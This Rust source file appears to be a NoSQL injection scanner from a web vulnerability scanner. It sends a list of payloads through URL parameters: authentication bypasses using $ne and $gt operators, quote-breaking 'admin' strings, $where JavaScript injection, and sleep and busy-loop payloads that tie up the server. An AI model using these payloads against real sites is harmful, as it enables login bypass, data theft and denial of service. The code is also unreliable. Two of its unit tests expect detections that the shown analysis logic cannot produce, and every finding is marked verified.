use crate::http_client::{HttpClient, HttpResponse};
use crate::scanners::parameter_filter::{ParameterFilter, ScannerType};
use crate::scanners::registry::PayloadIntensity;
use crate::types::{Confidence, ScanConfig, Severity, Vulnerability};
use anyhow::Result;
use std::sync::Arc;
use tracing::{debug, info};
pub struct NoSqlScanner {
http_client: Arc<HttpClient>,
test_marker: String,
}
impl NoSqlScanner {
pub fn new(http_client: Arc<HttpClient>) -> Self {
let test_marker = format!(
"nosql_{}",
uuid::Uuid::new_v4().to_string().replace("-", "")
);
Self {
http_client,
test_marker,
}
}
pub async fn scan_parameter(
&self,
base_url: &str,
parameter: &str,
config: &ScanConfig,
) -> Result<(Vec<Vulnerability>, usize)> {
self.scan_parameter_with_intensity(base_url, parameter, config, PayloadIntensity::Standard)
.await
}
pub async fn scan_parameter_with_intensity(
&self,
base_url: &str,
parameter: &str,
_config: &ScanConfig,
intensity: PayloadIntensity,
) -> Result<(Vec<Vulnerability>, usize)> {
if ParameterFilter::should_skip_parameter(parameter, ScannerType::NoSQL) {
debug!(
"[NoSQL] Skipping framework/internal parameter: {}",
parameter
);
return Ok((Vec::new(), 0));
}
info!(
"[NoSQL] Intelligent scanner - parameter: {} (priority: {}, intensity: {:?})",
parameter,
ParameterFilter::get_parameter_priority(parameter),
intensity
);
let mut vulnerabilities = Vec::new();
let mut tests_run = 0;
let mut payloads = self.generate_nosql_payloads();
let payload_limit = intensity.payload_limit();
if payloads.len() > payload_limit {
let original_count = payloads.len();
payloads.truncate(payload_limit);
info!(
"[NoSQL] Intelligent mode: limited from {} to {} payloads (intensity: {:?})",
original_count,
payloads.len(),
intensity
);
}
for payload in &payloads {
tests_run += 1;
let test_url = if base_url.contains('?') {
format!(
"{}&{}={}",
base_url,
parameter,
urlencoding::encode(payload)
)
} else {
format!(
"{}?{}={}",
base_url,
parameter,
urlencoding::encode(payload)
)
};
debug!("Testing NoSQL payload: {} -> {}", parameter, payload);
match self.http_client.get(&test_url).await {
Ok(response) => {
if let Some(vuln) =
self.analyze_nosql_response(&response, payload, parameter, &test_url)
{
info!(
"[ALERT] NoSQL injection detected in parameter '{}'",
parameter
);
vulnerabilities.push(vuln);
break; }
}
Err(e) => {
debug!("NoSQL test error: {}", e);
}
}
}
info!(
"[SUCCESS] [NoSQL] Completed {} tests on parameter '{}', found {} vulnerabilities",
tests_run,
parameter,
vulnerabilities.len()
);
Ok((vulnerabilities, tests_run))
}
fn generate_nosql_payloads(&self) -> Vec<String> {
vec![
format!(r#"{{"$ne": null, "marker": "{}"}}"#, self.test_marker),
format!(r#"{{"$gt": "", "marker": "{}"}}"#, self.test_marker),
format!(
r#"{{"username": {{"$ne": null}}, "marker": "{}"}}"#,
self.test_marker
),
format!(r#"' || 'marker'=='{}' || '1'=='1"#, self.test_marker),
format!(r#"admin' || 'a'=='{}' || '1'=='1"#, self.test_marker),
r#"{"$gt": ""}"#.to_string(),
r#"{"$ne": null}"#.to_string(),
r#"{"$ne": ""}"#.to_string(),
r#"{"$nin": []}"#.to_string(),
r#"{"$exists": true}"#.to_string(),
r#"{"$regex": ".*"}"#.to_string(),
r#"{"$where": "1==1"}"#.to_string(),
r#"' || '1'=='1"#.to_string(),
r#"admin' || 'a'=='a"#.to_string(),
r#"' || 1==1//"#.to_string(),
r#"' || 1==1%00"#.to_string(),
"[\"admin\"]".to_string(),
"{\"username\":\"admin\"}".to_string(),
"%7B%22%24gt%22%3A%22%22%7D".to_string(), "%7B%22%24ne%22%3Anull%7D".to_string(), r#"'; return true; var a='"#.to_string(),
r#"'; return 1==1; var b='"#.to_string(),
r#"\'; return true; var c=\'"#.to_string(),
"[$gt]".to_string(),
"[$ne]".to_string(),
"[$regex]=.*".to_string(),
"true, $where: '1 == 1'".to_string(),
"1, $where: '1 == 1'".to_string(),
", $where: '1 == 1'".to_string(),
"admin\0".to_string(),
"admin%00".to_string(),
r#"'; sleep(5000); var d='"#.to_string(),
r#"'; var start = new Date(); while ((new Date() - start) < 5000){}; var e='"#
.to_string(),
]
}
fn analyze_nosql_response(
&self,
response: &HttpResponse,
payload: &str,
parameter: &str,
test_url: &str,
) -> Option<Vulnerability> {
let body_lower = response.body.to_lowercase();
let marker_lower = self.test_marker.to_lowercase();
if body_lower.contains(&marker_lower) {
if response.body.trim().starts_with('{') || response.body.trim().starts_with('[') {
return Some(self.create_vulnerability(
parameter,
payload,
test_url,
"NoSQL injection confirmed - unique marker processed by database",
Confidence::High,
format!("Unique test marker '{}' was processed and returned by the database, confirming NoSQL injection", self.test_marker),
Severity::Critical,
9.8,
));
}
}
let error_indicators = [
"mongoerror", "mongoose validat", "bsonerror", "cast to objectid failed", "invalid bson", "unknown query operator", "$where is not allowed", "illegal $", "cannot apply $where", ];
let mut found_error = false;
let mut error_type = String::new();
for indicator in &error_indicators {
if body_lower.contains(indicator) {
found_error = true;
error_type = indicator.to_string();
break;
}
}
if found_error {
return Some(self.create_vulnerability(
parameter,
payload,
test_url,
"NoSQL injection causes database error disclosure",
Confidence::Medium,
format!("Database error message detected containing: {}", error_type),
Severity::High,
7.5,
));
}
None
}
fn create_vulnerability(
&self,
parameter: &str,
payload: &str,
test_url: &str,
description: &str,
confidence: Confidence,
evidence: String,
severity: Severity,
cvss: f32,
) -> Vulnerability {
Vulnerability {
id: format!("nosql_{}", uuid::Uuid::new_v4().to_string()),
vuln_type: "NoSQL Injection".to_string(),
severity,
confidence,
category: "Injection".to_string(),
url: test_url.to_string(),
parameter: Some(parameter.to_string()),
payload: payload.to_string(),
description: format!(
"NoSQL injection vulnerability detected in parameter '{}'. {}. Attackers can bypass authentication, extract data, or manipulate database queries.",
parameter, description
),
evidence: Some(evidence),
cwe: "CWE-943".to_string(), cvss,
verified: true,
false_positive: false,
remediation: r#"IMMEDIATE ACTION REQUIRED:
1. Use parameterized queries or ORM/ODM with proper escaping
2. Never pass user input directly to database queries
3. Validate and sanitize all user input
4. Use allowlists for expected input patterns
5. Implement proper authentication mechanisms
6. Disable JavaScript execution in MongoDB ($where operator)
7. Use least privilege database accounts
8. Implement rate limiting on authentication endpoints
9. Log and monitor for NoSQL injection attempts
10. Consider using MongoDB's role-based access control (RBAC)"#.to_string(),
discovered_at: chrono::Utc::now().to_rfc3339(),
ml_data: None,
}
}
}
mod uuid {
use rand::Rng;
pub struct Uuid;
impl Uuid {
pub fn new_v4() -> Self {
Self
}
pub fn to_string(&self) -> String {
let mut rng = rand::rng();
format!(
"{:08x}-{:04x}-{:04x}-{:04x}-{:012x}",
rng.random::<u32>(),
rng.random::<u16>(),
rng.random::<u16>(),
rng.random::<u16>(),
rng.random::<u64>() & 0xffffffffffff
)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
async fn test_nosql_payload_generation() {
let scanner = NoSqlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));
let payloads = scanner.generate_nosql_payloads();
assert!(
payloads.len() >= 25,
"Should have at least 25 NoSQL payloads"
);
assert!(
payloads.iter().any(|p| p.contains("$gt")),
"Missing $gt operator"
);
assert!(
payloads.iter().any(|p| p.contains("$ne")),
"Missing $ne operator"
);
assert!(
payloads.iter().any(|p| p.contains("$where")),
"Missing $where operator"
);
assert!(
payloads.iter().any(|p| p.contains("$regex")),
"Missing $regex operator"
);
}
#[test]
fn test_authentication_bypass_detection() {
let scanner = NoSqlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));
let response = HttpResponse {
status_code: 200,
body: "Welcome to the admin dashboard! You are logged in as admin.".to_string(),
headers: std::collections::HashMap::new(),
duration_ms: 100,
};
let result = scanner.analyze_nosql_response(
&response,
r#"{"$ne": null}"#,
"username",
"http://example.com?username={\"$ne\": null}",
);
assert!(
result.is_some(),
"Should detect NoSQL authentication bypass"
);
let vuln = result.unwrap();
assert_eq!(vuln.severity, Severity::Critical);
}
#[test]
fn test_error_disclosure_detection() {
let scanner = NoSqlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));
let response = HttpResponse {
status_code: 500,
body: "MongoDB Error: Syntax error in query - $gt operator invalid".to_string(),
headers: std::collections::HashMap::new(),
duration_ms: 100,
};
let result = scanner.analyze_nosql_response(
&response,
r#"{"$gt": ""}"#,
"id",
"http://example.com?id={\"$gt\": \"\"}",
);
assert!(result.is_some(), "Should detect database error disclosure");
let vuln = result.unwrap();
assert_eq!(vuln.severity, Severity::High);
}
#[test]
fn test_no_false_positive() {
let scanner = NoSqlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));
let response = HttpResponse {
status_code: 200,
body: "<html><body>Normal page content without indicators</body></html>".to_string(),
headers: std::collections::HashMap::new(),
duration_ms: 100,
};
let result = scanner.analyze_nosql_response(
&response,
r#"{"$ne": null}"#,
"search",
"http://example.com?search={\"$ne\": null}",
);
assert!(
result.is_none(),
"Should not report false positive on normal response"
);
}
}